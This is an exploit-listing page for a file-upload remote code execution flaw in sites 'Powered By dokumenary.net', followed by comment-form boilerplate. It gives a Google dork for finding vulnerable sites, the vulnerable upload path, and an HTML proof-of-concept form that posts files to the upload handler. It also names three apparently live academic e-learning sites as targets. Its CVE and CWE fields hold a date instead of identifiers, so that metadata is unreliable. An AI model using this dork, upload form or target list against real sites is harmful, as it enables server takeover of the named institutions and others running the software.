Powered By dokumenary.net Remote Code Execution

2023.01.30

UnM@SK (ID)

Risk: High

Local: No

Remote: Yes

CVE: 2023-01-29

CWE: 2023-01-29

# Exploit Title: Arbritrary File Upload - Remote Code Execution
# Google Dork: intext:dokumenary.net All rights reserved.
# Date: 29/01/2023
# Exploit Author: UnM@SK
# Vendor Homepage: https://dokumenary.net
# All Version Not Patched

1 you can go straight to the exploit
2 you access /assets/comp/RichFilemanager/scripts/jQuery-File-Upload/
3 go to exploit csrf file upload

#CSRF
<html><head><title>poc</title>
</head><body bgcolor="white" class="intent-mouse"><center>  <h1>My Poc</h1><h1>
<font color="black"> <form method="POST" action="site.idassets/comp/RichFilemanager/scripts/jQuery-File-Upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]"><input type="submit" name="Submit" value="Upload ?"> <center><h5></h5>© idiotCrew <h5></h5> </center></form></font></h1></center>
</body></html>
#Live
https://elearning.staiubkujunggading.ac.id/
https://stpsantopetruska.ac.id/new_elearning/
http://elsas.ar-rum.ac.id/

See this note in RAW Version

Vote for this issue:

33%

67%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Powered By dokumenary.net Remote Code Execution

Dork: intext:dokumenary.net All rights reserved.

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.